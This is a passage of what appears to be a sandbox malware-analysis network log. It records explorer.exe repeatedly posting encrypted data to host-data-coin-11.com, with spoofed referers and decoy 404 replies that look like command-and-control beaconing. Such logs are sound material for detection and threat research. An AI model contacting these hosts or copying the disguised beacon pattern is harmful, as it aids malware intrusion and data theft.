Jan 14, 2022 04:59:13.646641016 CET	2709	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 da 44 d0 f8 20 8c 21 ea ad 96 56 2c e4 b4 48 2b e3 b3 b6 68 f3 9a b9 59 a8 77 9f cb 31 41 5b 3d 03 4b de bb 4b bb ff 5b 91 ad d3 02 c4 60 9d d2 69 0d 0a 30 0d 0a 0d 0a Data Ascii: 66I:82OB%,YR("XQD !V,H+hYw1A[=KK[`i0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49810	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:15.927923918 CET	3475	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lxvicbnfu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: host-data-coin-11.com
Jan 14, 2022 04:59:15.927942991 CET	3475	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 8d 66 5d 02 c9 a1 c1 64 56 d0 8b 6c Data Ascii: ?2~236hTkowmFu$f]dVlVjTFSAZ\|.x^{=!H;c&#x2]3o[&.]DUL`Lk
Jan 14, 2022 04:59:16.011801958 CET	3476	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49811	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:16.101794004 CET	3477	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://alysw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 249 Host: host-data-coin-11.com
Jan 14, 2022 04:59:16.102348089 CET	3477	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8a 66 5d 02 c8 a1 c1 64 3b da bc 04 Data Ascii: ?2~236hTkowmFu$f]d;9Gw)C`RDl"Xy9iL$=\PJD!7Yk2S`i[H#n.Y;3q`):5//g1wHU RRlY;Q\@4V{W
Jan 14, 2022 04:59:16.186861992 CET	3478	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.3	49812	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:16.268343925 CET	3479	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yocfbwydo.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 181 Host: host-data-coin-11.com
Jan 14, 2022 04:59:16.268394947 CET	3479	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8b 66 5d 02 c8 a1 c1 64 12 c8 ab 6d Data Ascii: ?2~236hTkowmFu$f]dm[ido%l}p=3>w\KUa+t>FGw$C(?#0N[&g?5~wL^c]5R{[h
Jan 14, 2022 04:59:16.350084066 CET	3479	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 1e 49 3a 44 a6 e8 de ea e4 40 fd 45 91 6e b8 57 5b 91 17 bf ec 31 e5 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:D@EnW[10

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.3	49824	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:37.478473902 CET	11358	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gempx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 266 Host: host-data-coin-11.com
Jan 14, 2022 04:59:37.478499889 CET	11359	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 53 a6 c7 1b Data Ascii: ?2~236hTkowmFu$f]dSNk}b@8:61j}Ej[&mv:PRYE4 v#j}95 {X8dyz;xqwZBWcN~\-JcD',quQvt{8
Jan 14, 2022 04:59:37.559830904 CET	11359	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.3	49826	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:37.649547100 CET	11360	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cnwtvll.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 350 Host: host-data-coin-11.com
Jan 14, 2022 04:59:37.649569988 CET	11361	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 1b ab b2 77 Data Ascii: ?2~236hTkowmFu$f]dw2;`3y]bW^vrX`S\|eb6S7aRu(aITW`t=A[mGiQCgh3~9Wz_qc.;9b m<,=e]a])@A
Jan 14, 2022 04:59:37.734066010 CET	11363	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.3	49827	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:37.820666075 CET	11363	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ecigcmyd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 279 Host: host-data-coin-11.com
Jan 14, 2022 04:59:37.820677996 CET	11364	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 4b 85 81 06 Data Ascii: ?2~236hTkowmFu$f]dK,b(5kJt7tN"qY_7`9^D/_.eMDdUT+zD>F?//-tY/7eur9-m<.z#[+c->sk];a26)
Jan 14, 2022 04:59:37.904429913 CET	11366	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:37 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49876	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49830	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:37.987737894 CET	11369	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qaicqimmrp.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 340 Host: host-data-coin-11.com
Jan 14, 2022 04:59:37.987778902 CET	11369	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 4c d7 bd 36 Data Ascii: ?2~236hTkowmFu$f]dL6^l<U]o'N]Dee>_r9s?J)'F 40pI*k<4>\|,^,v<9QoASL CI1T59_a_.,?fkKaKB
Jan 14, 2022 04:59:38.072016001 CET	11780	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49832	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:38.193926096 CET	11896	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lwrsn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 157 Host: host-data-coin-11.com
Jan 14, 2022 04:59:38.193948030 CET	11896	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 4b c5 ac 6c Data Ascii: ?2~236hTkowmFu$f]dKlJlf{}9 =4!XU/\e;(-3U v"mywKQ[,PQBG9
Jan 14, 2022 04:59:38.302746058 CET	11921	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49835	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:38.708915949 CET	11925	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqdvrak.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 151 Host: host-data-coin-11.com
Jan 14, 2022 04:59:38.709727049 CET	11925	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 04 a8 a2 73 Data Ascii: ?2~236hTkowmFu$f]ds5FEb;\|Gz[rK6Gmn/4`#*NA]n6LcI~
Jan 14, 2022 04:59:38.818808079 CET	11926	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49837	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:38.903316975 CET	11928	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://scugxyrh.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 255 Host: host-data-coin-11.com
Jan 14, 2022 04:59:38.903337955 CET	11928	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 16 c9 b4 73 Data Ascii: ?2~236hTkowmFu$f]dsB\|X;P;<n@kuD[(~e5F.0{~aI/;`$h'4Mk1=IiG.LDjYy9}c_@ i;aa@P
Jan 14, 2022 04:59:38.999663115 CET	11930	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49838	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:39.090161085 CET	11931	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lwwgdj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 269 Host: host-data-coin-11.com
